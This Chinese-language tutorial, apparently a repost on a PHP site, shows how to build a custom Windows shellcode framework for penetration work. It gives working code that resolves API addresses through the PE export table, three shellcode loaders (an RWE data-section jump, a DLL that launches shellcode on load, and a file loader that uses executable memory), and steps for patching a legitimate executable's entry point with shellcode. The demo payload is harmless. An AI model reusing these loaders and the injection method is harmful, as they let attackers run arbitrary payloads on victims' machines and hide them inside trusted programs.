shellcode的本質其實就是一段可以自主運作的彙編程式碼,它沒有任何檔案結構,它不依賴任何編譯環境,無法像exe一樣雙擊運作。我在這裡不再贅述具體的shellcode,你們可以自行在百度上搜尋相關資訊。
因為最近半年做滲透比較多,使用的shellcode也都是CS或MSF生成的,但是工具自動生成的shellcode畢竟是死的,沒辦法自己擴展功能,再比如你知道一個新的漏洞,但是給的漏洞利用poc只能彈出個計算器,想要實現自己想要功能的shellcode就必須自己編寫,因此掌握Shellcode編寫技術就顯得尤為重要,並且在緩衝區溢出和蠕蟲病毒上面shellcode也是必不可少的重要角色。
想要自己寫shellcode,前提是必須知道shellcode編寫中最重要的幾個知識點,下面我會以問題的形式把需要解決的幾個點列一下:
1.Shellcode也是一段程序,如果想正常運行也需要用到各種各樣的資料(例如全域的字串等),但是我們都知道全域變數的訪問都是固定位址(硬編碼,也就是寫死的,沒辦法改變的),而我們的shellcode可能會被安排運作在任何程式的任何位置,我們要怎麼保證shellcode在這種情況下還能準確無誤的存取到所需的資料呢?
2.Shellcode也是運行在作業系統裡的,必然需要呼叫一些系統的API,我們要怎麼得到這些API的位址呢?
3.如果Shellcode運行的程式中沒有導入我們所需的API,而我們又必須要使用它,我們該怎麼辦呢?
因為篇幅原因這些問題的答案大家可以從FB資深作者Rabbit_Run翻譯的《Windows平台shellcode開發入門一、二、三》三篇文章中尋找尋找答案,基本上把shellcode編寫需要了解的前置知識都牽涉到了,大家可以帶著問題去找答案。
在知道了這些前置知識之後大家如果純手寫shellcode的話還是比較麻煩和困難得,就像寫原生的js程式碼遠不如使用jquery等js框架方便且開發快速。因此,我們需要建立一個方便編寫自訂功能的shellcode程式框架。現在網路上很多這種shellcode程式框架,像是TK以前開源的一款、OneBugMan老師以前寫過的2款等等,我之前在學校學習的時候自己寫過一個shellcode程式框架但是已經找不到了,而且搞滲透的這段時間以前的知識忘了很多了,所以就參照OneBugMan老師的課程(有興趣的可以去支持一下老師講的公開課,講的很好)寫了一個shellcode框架實踐了一下。
圖1 架構結構圖
在VS2015中,我們使用win32空專案進行此次工程創建,並選擇relase/x86配置進行編譯。在編譯之前,我們要進行以下設定:
1.建立工程時關閉SDL檢查
#2.屬性->C/C ->程式碼產生->運行庫- >多執行緒(/MT)如果是debug則設定成MTD
3.屬性->常規->平台工具集->設定為Visual Studio 2015- Windows XP (v140_xp),如果沒有則可以去安裝上對應的相容xp的元件
4.屬性->C/C ->程式碼產生->停用安全檢查GS
5.關閉產生清單屬性->連結器->清單檔案->產生清單選擇否
下面介紹一下每個檔案的作用:
1.api.h——>shellcode所用到系統函數的函數指針,以及一個結構體裡麵包含了這些函數指針。
2.header.h——>頭檔及自訂功能函數的函數宣告。
3.0.entry.cpp——>框架的入口,建立最後產生的shellcode檔。
4.a.start.cpp——>標記shellcode的開始位置,用來進行shellcode編寫前的前置操作和所用到函數的初始化
#5.b.work .cpp——>shellcode的執行,具體功能的實作
6.z.end.cpp——>標記shellcode結束位置
之所以檔案命名的形式按照這種方式命名是因為按照先數字再字母,按照前後排列的形式,工程內文件這樣命名是為了編譯生成exe的時候就是按照下圖順序編譯生成的,這樣產生的exe程式碼段中函數排列順序也是按照下圖檔案中函數順序排列的,這樣我們可以很方便的計算出Shellcode的大小(z.end中的ShellcodeEnd 減去a.start.中的ShellcodeStart就是shellcode的大小),從而把shellcode寫入最後生成的檔案中。
圖2 編譯順序圖
0.entry.cpp中主要注意的就是修改函數入口點的名稱一定要和自己寫的函數名稱一致,否則找不到入口點,因為我們修改了入口點所以一些C形式的函數不能直接使用了,要改為動態呼叫的形式,還有就是我們寫入shellcode大小的計算。
圖3 0.entry.cpp程式碼
a.start.cpp中主要是實現了寫出shellcode最重要的幾個前置準備:動態取得kernel32.dll的基質和利用PE檔案格式的知識來取得GetProcAddress函數位址,進一步取得LoadLibrary位址,有了這些前置步驟我們才能取得其他任意API的位址,進而實現我們shellcode的各種影像##下面是取得GetProcAddress函數位址,之所以GetProcAddress字串要以下圖那種寫法是因為如果使用這樣寫法char str []="xxxxx";這樣會把字串寫到程式中的rdata段,就變成了絕對位址,使用絕對位址會使shellcode執行錯誤。
FARPROC getProcAddress(HMODULE hModuleBase) { FARPROC pRet = NULL; PIMAGE_DOS_HEADER lpDosHeader; PIMAGE_NT_HEADERS32 lpNtHeaders; PIMAGE_EXPORT_DIRECTORY lpExports; PWORD lpwOrd; PDWORD lpdwFunName; PDWORD lpdwFunAddr; DWORD dwLoop; lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase; lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew); if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) { return pRet; } if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { return pRet; } lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!lpExports->NumberOfNames) { return pRet; } lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames); lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals); lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions); for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++) { char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase); if (pszFunction[0] == 'G' &&pszFunction[1] == 'e' &&pszFunction[2] == 't' &&pszFunction[3] == 'P' &&pszFunction[4] == 'r' &&pszFunction[5] == 'o' &&pszFunction[6] == 'c' &&pszFunction[7] == 'A' &&pszFunction[8] == 'd' &&pszFunction[9] == 'd' &&pszFunction[10] == 'r' &&pszFunction[11] == 'e' &&pszFunction[12] == 's' &&pszFunction[13] == 's') { pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase); break; } } return pRet; }
下面的初始化函數部分我們要知道我們使用的函數在哪個dll中,例如我們想要使用system()函數執行指令,我們就要透過下圖方式先載入msvCRT.dll,然後再透過getprocaddress函數找到system函數。別忘記system函數中所用的命令字串(例如呼叫計算器)也要像char szCalc[] = { 'c','a','l','c',0 };這樣寫。圖5 初始化函數
特定功能實作時只需要記住要將函數內所用到的字串按照下圖數組方式宣告即可,這裡我們寫了範例的功能為彈出一個訊息框提示hello,然後建立一個1.txt文件。
功能實作
三、執行shellcode
框架程式碼寫好之後,我們運行一下會在專案目錄裡面產生一個sc.bin文件,這個文件中我們使用010Editor打開sc.bin即可看到生成的shellcode。
图7 生成的shellcode
例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
源码A
#include#include #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include#include //data段可读写 #pragma comment(linker, "/section:.data,RWE") HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"; DWORD WINAPI ceshi(LPVOID pParameter) { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { } if (!(memcpy(p, shellcode, sizeof(shellcode)))) { } CODE code = (CODE)p; code(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程 case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include#include #include int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); __asm { call lpAddress; } _flushall(); system("pause"); return 0; }
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
以上是shellcode是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!